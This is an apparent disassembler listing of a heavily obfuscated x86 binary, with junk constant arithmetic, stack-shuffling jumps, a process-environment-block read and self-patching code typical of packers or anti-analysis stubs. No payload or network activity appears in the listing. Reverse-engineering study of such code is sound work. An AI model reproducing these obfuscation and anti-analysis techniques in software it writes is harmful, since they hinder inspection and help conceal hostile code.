; FUNCTION CHUNK AT 004464A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F514 SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_44F51E
		jmp	loc_4464A2
sub_4418CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4418DD:				; CODE XREF: dviuq5id:loc_43B0BCj
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp]
		push	ecx
		mov	ecx, ebx
		xchg	ecx, [esp]
		jmp	loc_442F4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441AC0

loc_4418EE:				; CODE XREF: sub_441AC0:loc_455BF8j
		jmp	ds:off_41D03C
; END OF FUNCTION CHUNK	FOR sub_441AC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446004

loc_4418F4:				; CODE XREF: sub_446004+14133j
		jmp	loc_459B15
; END OF FUNCTION CHUNK	FOR sub_446004
; ---------------------------------------------------------------------------

loc_4418F9:				; CODE XREF: dviuq5id:0045908Ej
		jmp	loc_456506
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450A73

loc_4418FE:				; CODE XREF: sub_450A73-F785j
		jmp	loc_44E2EF
; END OF FUNCTION CHUNK	FOR sub_450A73

; =============== S U B	R O U T	I N E =======================================



sub_441903	proc near		; CODE XREF: sub_441AC0p
					; sub_4461D0:loc_445D42j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B222 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043C313 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043F4CD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00440A1D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044A3D6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0045534A SIZE 00000008 BYTES

		pop	edx
		jno	loc_45534A
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_43B3A0
		mov	eax, 8CA83E2Ch
		jmp	loc_43C313
sub_441903	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_44191D:				; CODE XREF: sub_445A59+67F0j
		xchg	ebx, [esp-8+arg_0]
		jmp	loc_45A306
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------

loc_441925:				; CODE XREF: dviuq5id:00454F50j
		xchg	edi, [esp]
		jmp	loc_43C70B
; ---------------------------------------------------------------------------
		jmp	ds:dword_41D14C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6ED

loc_441933:				; CODE XREF: sub_44C6ED+9j
		jmp	loc_44DAE4
; END OF FUNCTION CHUNK	FOR sub_44C6ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D5BE

loc_441938:				; CODE XREF: sub_43D5BE+13j
		jmp	loc_439D5A
; END OF FUNCTION CHUNK	FOR sub_43D5BE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		dd offset sub_44F5D6
; ---------------------------------------------------------------------------
		jmp	loc_439FF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_441947:				; CODE XREF: sub_454117-8CABj
		shl	ebp, 13h
		or	ecx, 6340CF63h

loc_441950:				; CODE XREF: dviuq5id:0044C362j
					; dviuq5id:00453807j ...
		mov	esp, ebp
		xchg	ecx, [esp+0]
		mov	ebp, ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_441959:				; CODE XREF: sub_454117-178BAj
		push	214285E1h
		jmp	loc_44A755
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_441963:				; CODE XREF: sub_457EED-1B0ADj
					; sub_457EED:loc_4443F9j ...
		jmp	loc_43DBDF
; ---------------------------------------------------------------------------

loc_441968:				; CODE XREF: sub_44B624-A35Cj
					; sub_457EED-15216j
		xchg	edx, [esp-4+arg_0]
		mov	ecx, edx
		pop	edx
		xchg	esi, [esp-8+arg_4]
		mov	ebp, esi
		jmp	loc_43FEB4
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------

loc_441978:				; CODE XREF: dviuq5id:0044A7A4j
		test	edx, 6DF0F206h
		jmp	loc_44044B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439CB7

loc_441983:				; CODE XREF: sub_439CB7+7j
		and	esi, 67D5C2B1h
		cmp	esi, 0B2D57656h
		jmp	loc_4404B9
; END OF FUNCTION CHUNK	FOR sub_439CB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_441994:				; CODE XREF: sub_43FA59-4A8Fj
		jz	loc_43CBF8

loc_44199A:				; CODE XREF: dviuq5id:0043CDCCj
					; dviuq5id:loc_455360j
		jmp	nullsub_295
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		add	edx, 93CE3CDCh
		jge	loc_4504AE
		jmp	loc_43CBF8
; ---------------------------------------------------------------------------

loc_4419B0:				; CODE XREF: dviuq5id:00443FCEj
		and	edx, 417B811Fh

; =============== S U B	R O U T	I N E =======================================



sub_4419B6	proc near		; CODE XREF: sub_44A15A+4A0Ep

; FUNCTION CHUNK AT 0044901B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044D157 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00457705 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, 0A2165B48h
		call	sub_453642
		jmp	loc_44D157
sub_4419B6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459A5B

loc_4419CA:				; CODE XREF: sub_459A5B:loc_45007Cj
		call	sub_44250B

loc_4419CF:				; CODE XREF: sub_44B27C+1j
		mov	ecx, ebp
		xchg	ecx, [esp+0]
		mov	ebp, esp
		push	offset sub_450667
; END OF FUNCTION CHUNK	FOR sub_459A5B
; START	OF FUNCTION CHUNK FOR sub_453642

loc_4419DB:				; CODE XREF: sub_453642:loc_443552j
		jmp	loc_4424FE
; END OF FUNCTION CHUNK	FOR sub_453642
; ---------------------------------------------------------------------------

loc_4419E0:				; DATA XREF: sub_447A8A+4FA5o
		xor	edx, 6C62C596h
		add	ecx, edx
		pop	edx
		sub	eax, ecx
		jmp	loc_455F17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB53

loc_4419F0:				; CODE XREF: sub_44BB53-5570j
		cdq
		and	ebp, 0BF0B35FBh
		sbb	ebx, 5C7897D8h
		jmp	loc_451102
; END OF FUNCTION CHUNK	FOR sub_44BB53

; =============== S U B	R O U T	I N E =======================================



sub_441A02	proc near		; DATA XREF: dviuq5id:00445F95o

; FUNCTION CHUNK AT 00451814 SIZE 00000005 BYTES

		push	offset sub_454D8B
		jmp	loc_451814
sub_441A02	endp

; ---------------------------------------------------------------------------

loc_441A0C:				; DATA XREF: sub_4585FC:loc_444B40o
		jnb	loc_44F536
		mov	eax, large fs:30h
		add	eax, 20h

loc_441A1C:				; CODE XREF: dviuq5id:0044B7D9j
		mov	eax, [eax]
		push	offset sub_442D9D
		jmp	loc_443192
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_441A28:				; CODE XREF: sub_4463B7:loc_4570D0j
		test	ebp, 0C54C7EA2h
		jmp	loc_452FF2
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
		sub	edx, 40386E76h
		test	edi, 1DFA2FCEh
		jmp	loc_455E6E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457EED

loc_441A45:				; CODE XREF: sub_457EED-BD36j
		jmp	loc_443C0C
; END OF FUNCTION CHUNK	FOR sub_457EED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_441A4A:				; CODE XREF: sub_44846C+5B8j
					; dviuq5id:00451C87j
		rol	eax, 5
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4582AD

loc_441A4F:				; CODE XREF: sub_4582AD+Cj
		push	7CE4AC6Bh
		pop	eax
		rol	eax, 0Fh
		add	eax, 0F0A5F3D1h
		jmp	loc_459D52
; END OF FUNCTION CHUNK	FOR sub_4582AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_441A63:				; CODE XREF: sub_43C4B5:loc_439758j
		cmp	al, 0A4h
		jz	loc_44D762
		jmp	loc_43CB47
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------

loc_441A70:				; CODE XREF: dviuq5id:0044C31Cj
		rol	eax, 1
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_441A72:				; CODE XREF: sub_43E10E-DCj
		add	eax, 6337B027h
		xchg	eax, [esp+0]
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_43E10E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_441A80:				; CODE XREF: sub_44B99E:loc_455F61j
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_444333
		jmp	loc_45544E
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_441A91:				; CODE XREF: sub_44460F+A3A8j
		sub	ebx, 3B7FBFEEh
		popf
		push	ebx
		jmp	loc_43BF92
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B85C

loc_441A9E:				; CODE XREF: sub_44B85C-2781j
		add	ebx, 26E1BC1h

loc_441AA4:				; CODE XREF: dviuq5id:loc_43C983j
		xchg	ebx, [esp+4+var_4]
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_44B85C
; ---------------------------------------------------------------------------
		mov	ds:off_41D038, eax
		lea	eax, sub_443481
		mov	byte ptr [eax],	0C3h
		jmp	loc_43C8EE

; =============== S U B	R O U T	I N E =======================================



sub_441AC0	proc near		; CODE XREF: sub_41A40D+2Ep
					; sub_441AC0:loc_4418EEj
					; DATA XREF: ...

; FUNCTION CHUNK AT 004418EE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00455BF8 SIZE 00000005 BYTES

		call	sub_441903
		jmp	loc_455BF8
sub_441AC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B70C

loc_441ACA:				; CODE XREF: sub_44B70C+Cj
		jnz	loc_443C02
		jmp	loc_453836
; END OF FUNCTION CHUNK	FOR sub_44B70C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_392. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_349. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EC6

loc_441AD7:				; CODE XREF: sub_451EC6:loc_451ED3j
		call	sub_443FD3

loc_441ADC:				; CODE XREF: sub_4492F0+803Dj
		jmp	loc_452CE7
; END OF FUNCTION CHUNK	FOR sub_451EC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_441AE1:				; CODE XREF: sub_440898:loc_4435AFj
		jge	loc_44E36D
; END OF FUNCTION CHUNK	FOR sub_440898

; =============== S U B	R O U T	I N E =======================================



sub_441AE7	proc near		; CODE XREF: sub_450686:loc_44C0FFp

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		add	edx, 19F219F4h
		xchg	edx, [esp-4+arg_0]
		jmp	sub_45A310
sub_441AE7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_441AF9:				; CODE XREF: dviuq5id:loc_441E3Bj
					; sub_439E87+1F535j
		jz	loc_454644
		jmp	loc_44D366
; END OF FUNCTION CHUNK	FOR sub_439E87
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_376. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_441B05	proc near		; CODE XREF: dviuq5id:00443C24j
					; dviuq5id:00457F46p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B08B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004466C7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044A775 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045682A SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		mov	edx, eax
		push	ebx
		jmp	loc_4466C7
sub_441B05	endp


; =============== S U B	R O U T	I N E =======================================



sub_441B17	proc near		; CODE XREF: sub_43ED10+10EA4j
					; sub_452465p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00440E55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004491D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FBB9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00453317 SIZE 0000000D BYTES

		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		jno	loc_44FBB9
		mov	eax, [esp-4+arg_0]
		jmp	loc_453317
sub_441B17	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_441B2B:				; CODE XREF: dviuq5id:loc_43B1F4j
		retn
; ---------------------------------------------------------------------------
		push	ecx
		push	0F94D0108h
		pop	ecx
		add	ecx, ds:4000F3h
		rol	ecx, 17h
		or	ecx, 8F5781B0h
		sub	ecx, 214A4EDEh
		jmp	loc_43BFD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_441B4D:				; CODE XREF: dviuq5id:00445663j
					; sub_43BA0E+1AE94j
		add	edx, 0EACE131h
		jnb	loc_44D08C

loc_441B59:				; CODE XREF: dviuq5id:0045244Cj
		jmp	nullsub_449
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F582

loc_441B5E:				; CODE XREF: sub_44F582+12j
		jmp	nullsub_106
; END OF FUNCTION CHUNK	FOR sub_44F582
; ---------------------------------------------------------------------------
		cmp	edx, ebx
		jmp	loc_45221F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_441B6A:				; CODE XREF: sub_43FAE1:loc_43A0D5j
		rol	edi, 18h
		add	edi, 808548AFh
		push	offset loc_452F15
		jmp	loc_450EC7
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_441B7D:				; CODE XREF: sub_45169D-18674j
		or	eax, ecx
		popf

loc_441B80:				; CODE XREF: sub_45169D:loc_452E05j
		push	35590593h
		pop	eax
		and	eax, 7AB52E99h
		xor	eax, 464D7D33h
		add	eax, 0D7A7C1A2h
		rol	eax, 1
		jmp	loc_439FE7
; END OF FUNCTION CHUNK	FOR sub_45169D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_251. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_441BA0:				; CODE XREF: sub_44B99E:loc_441415j
		push	0F505905Ch
		pop	edi
		or	edi, 88B34525h
		and	edi, 831AAA87h
		add	edi, 2259DF95h
		add	edx, edi
		pop	edi
		jmp	loc_455F61
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB05

loc_441BC0:				; CODE XREF: sub_43CB05:loc_447C19j
		xor	edx, 10B89890h
		jmp	loc_442E08
; END OF FUNCTION CHUNK	FOR sub_43CB05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439FA1

loc_441BCB:				; CODE XREF: sub_439FA1+9j
		pop	ecx
		call	sub_441E2A
; END OF FUNCTION CHUNK	FOR sub_439FA1
; START	OF FUNCTION CHUNK FOR sub_443354

loc_441BD1:				; CODE XREF: sub_443354+9F72j
		jmp	nullsub_459
; END OF FUNCTION CHUNK	FOR sub_443354
; ---------------------------------------------------------------------------

loc_441BD6:				; CODE XREF: dviuq5id:00445BFBj
		jz	loc_43A530
		jmp	loc_4436C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_441BE1:				; CODE XREF: sub_44646F+11034j
		cmp	esi, ebp
		jmp	loc_44E8F2
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------

loc_441BE8:				; CODE XREF: dviuq5id:loc_4534A4j
					; DATA XREF: sub_44C2F6:loc_453168o
		xor	eax, 0CE33F6B2h
		rol	eax, 1Dh
		push	edi
		push	9C9BB8C7h
		jmp	loc_43E8CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_441BFC:				; CODE XREF: sub_44646F:loc_43CD6Bj
		mov	[ecx], edx
		pushf
		jmp	loc_453734
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450407

loc_441C04:				; CODE XREF: sub_450407-BDBCj
		mov	eax, edx
		call	sub_43D7C1
		mov	eax, [esp+0]
		call	sub_44E3BA
		retn
; END OF FUNCTION CHUNK	FOR sub_450407
; ---------------------------------------------------------------------------
dword_441C14	dd 8F5AAE0Ah		; DATA XREF: sub_456253:loc_440FADr
					; sub_44E67F-8052w ...
; ---------------------------------------------------------------------------

loc_441C18:				; CODE XREF: dviuq5id:00440F00j
		jmp	loc_43E05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_441C1D:				; CODE XREF: sub_43CB4C+B34j
		sub	edi, edx

loc_441C1F:				; CODE XREF: sub_43C2DA-2422j
					; sub_43D28E-ABj ...
		jmp	loc_4430A1
; ---------------------------------------------------------------------------

loc_441C24:				; CODE XREF: sub_43D28E+42B9j
					; sub_43CB4C+12C72j
		pop	ecx
		push	offset sub_44F0C0
		jmp	loc_43B163
; END OF FUNCTION CHUNK	FOR sub_43CB4C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_441C2F	proc near		; CODE XREF: sub_449187:loc_451D4Dj
		retn
sub_441C2F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459D7E

loc_441C30:				; CODE XREF: sub_459D7E-1516Ej
		jmp	sub_4411B8
; END OF FUNCTION CHUNK	FOR sub_459D7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_441C35:				; CODE XREF: sub_441DDA-89BFj
		test	ecx, 953958E4h
		jmp	loc_452326
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455CD1

loc_441C40:				; CODE XREF: sub_455CD1:loc_43FD8Aj
		add	ebx, 20A4ED11h
		xchg	ebx, [esp+0]
		jmp	sub_443F7F
; END OF FUNCTION CHUNK	FOR sub_455CD1
; ---------------------------------------------------------------------------

loc_441C4E:				; DATA XREF: sub_441D8Eo
		mov	eax, 0D5h
		retn

; =============== S U B	R O U T	I N E =======================================



sub_441C54	proc near		; CODE XREF: sub_43AEAA-1AF1p
					; sub_43EB11-5510p ...

; FUNCTION CHUNK AT 0045039A SIZE 0000000A BYTES

		jns	sub_45844D
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_45039A
sub_441C54	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EEAA

loc_441C63:				; CODE XREF: sub_44EEAA:loc_444042j
		add	ebx, 2015C2h
		xchg	ebx, [esp+0]
		jmp	loc_439FE2
; END OF FUNCTION CHUNK	FOR sub_44EEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C085

loc_441C71:				; CODE XREF: sub_44C085:loc_441E90j
		shr	eax, 1Eh
		adc	ebx, eax
		pop	eax
		pop	ebx
		xchg	ebx, [esp-8+arg_4]
		mov	edx, ebx
; END OF FUNCTION CHUNK	FOR sub_44C085
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_441C7D:				; CODE XREF: sub_44084F:loc_450B96j
		pop	ebx
		pop	ecx
		jmp	loc_454064
; END OF FUNCTION CHUNK	FOR sub_44084F

; =============== S U B	R O U T	I N E =======================================



sub_441C84	proc near		; CODE XREF: dviuq5id:loc_441FC7j
					; dviuq5id:loc_44A6E5j	...

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043C4EA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043CC64 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043EAAE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004429C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443826 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00443E0D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00445106 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445CF2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448B64 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044A219 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044A563 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AF1A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452C7C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004538DB SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00457337 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458A27 SIZE 00000005 BYTES

		pop	edx
		jnz	loc_4429C4
		mov	eax, [esp+0]
		push	edx

loc_441C8F:				; CODE XREF: dviuq5id:loc_44BC09j
		call	sub_443A0A

loc_441C94:				; CODE XREF: sub_439FAF+10j
		jmp	loc_4538DB
sub_441C84	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_441C99	proc near		; DATA XREF: sub_454FA5:loc_45264Do

; FUNCTION CHUNK AT 0043F802 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451BCE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004522BF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00459C5C SIZE 00000013 BYTES

		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_451BC9
		jmp	loc_4522BF
sub_441C99	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_414. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_441CAE:				; CODE XREF: sub_458B23-B14j
		jmp	sub_43D28E
; END OF FUNCTION CHUNK	FOR sub_458B23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A449

loc_441CB3:				; CODE XREF: sub_43A449+18EB7j
		jmp	loc_44D5BB
; END OF FUNCTION CHUNK	FOR sub_43A449
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452A73

loc_441CB8:				; CODE XREF: sub_452A73:loc_452A81j
		and	esi, 15FCAE66h
		test	edi, ecx
		jmp	loc_4491A0
; END OF FUNCTION CHUNK	FOR sub_452A73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453548

loc_441CC5:				; CODE XREF: sub_453548+3j
		xchg	ebp, [esp+4+var_4]
		push	3F140EF9h
		pop	ebx
		and	ebx, 88021B51h
		add	ebx, 0F8445636h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_45A3E8
; END OF FUNCTION CHUNK	FOR sub_453548

; =============== S U B	R O U T	I N E =======================================



sub_441CE2	proc near		; DATA XREF: sub_441645:loc_44F79Bo
		call	sub_45A04B
		lea	eax, [ebp-14h]
		jmp	loc_44F720
sub_441CE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_441CEF	proc near		; CODE XREF: sub_441645:loc_441648j

; FUNCTION CHUNK AT 00454BA1 SIZE 00000005 BYTES

		add	esp, 0FFFFFFECh
		mov	eax, offset dword_447788
		call	sub_450A73
		call	sub_4403E5

loc_441D01:				; CODE XREF: sub_43E67C:loc_44E932j
		pop	ebx
		push	offset loc_457C58
		jmp	loc_454BA1
sub_441CEF	endp

; ---------------------------------------------------------------------------

loc_441D0C:				; DATA XREF: sub_43FF4E+18o
		shl	eax, 3
		add	eax, [ebp-8]
		mov	[ebp-24h], eax
		mov	eax, [ebp-24h]
		movzx	eax, word ptr [eax]
		jmp	loc_453C13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B9A5

loc_441D20:				; CODE XREF: sub_43B9A5j
		mov	eax, [ebp-18h]
		test	dword ptr [eax], 0FFFF0000h
		jnz	loc_442218
		jmp	loc_43D962
; END OF FUNCTION CHUNK	FOR sub_43B9A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_441D34:				; CODE XREF: sub_43C4B5:loc_440337j
		pop	edi
		pushf
		push	0EC5EDB6h
		pop	eax
		sub	eax, 584A83FAh
		test	eax, 8
		jmp	loc_439752
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
		push	eax

loc_441D4E:				; CODE XREF: dviuq5id:0043E6E3j
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
		jmp	loc_43E9A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_441D59:				; CODE XREF: sub_45383B-170CBj
		add	eax, 64288FD9h
		push	edx
		push	4685E6AEh
		pop	edx
		sub	edx, 4443EB3Dh
		add	edx, 0FE02F7E2h
		push	offset sub_45A0CF
		jmp	loc_44B29A
; END OF FUNCTION CHUNK	FOR sub_45383B

; =============== S U B	R O U T	I N E =======================================



sub_441D7C	proc near		; CODE XREF: sub_439B74+Ap
					; dviuq5id:0044DE4Cj
		xchg	ecx, [esp+0]
		pop	ecx
		xor	[ebp-0Ah], al
		inc	dword ptr [ebp-8]
		inc	dword ptr [ebp-4]
		jmp	loc_459061
sub_441D7C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_441D8E	proc near		; CODE XREF: sub_43C5CC:loc_43C5E0p
		push	offset loc_441C4E
		jmp	nullsub_36
sub_441D8E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_441D98:				; CODE XREF: sub_43EB11+176F8j
		jp	loc_45981E

loc_441D9E:				; CODE XREF: sub_43EB11:loc_44FCD4j
		push	eax
		lea	eax, dword_452360
		push	eax
		push	ecx
		mov	ecx, eax
		jmp	loc_4395F7
; END OF FUNCTION CHUNK	FOR sub_43EB11

; =============== S U B	R O U T	I N E =======================================



sub_441DAE	proc near		; CODE XREF: sub_43B9A5+6p
					; dviuq5id:0043BB52j

; FUNCTION CHUNK AT 0043B2A9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043BFFF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444D06 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00456674 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00459560 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	9520FD82h
		pop	eax
		jmp	loc_43B2A9
sub_441DAE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_441DBD:				; CODE XREF: sub_44846C:loc_44BF8Dj
		xor	edi, 362B9E9Ch
		xor	eax, edi
		pop	edi
		ror	eax, 13h
		xor	eax, 0C50523F3h
		ror	eax, 0Dh
		jmp	loc_44CC7F
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------

loc_441DD7:				; CODE XREF: dviuq5id:00447848j
		shr	ecx, 1Ah

; =============== S U B	R O U T	I N E =======================================



sub_441DDA	proc near		; CODE XREF: sub_452D9B:loc_44F1BBp

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004391D1 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00439415 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439498 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00439645 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004396EF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00439D55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A58C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B543 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043BCCB SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0043D616 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043E1AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EBCA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F1F9 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043F416 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043F48A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F78B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043FC28 SIZE 00000005 BYTES
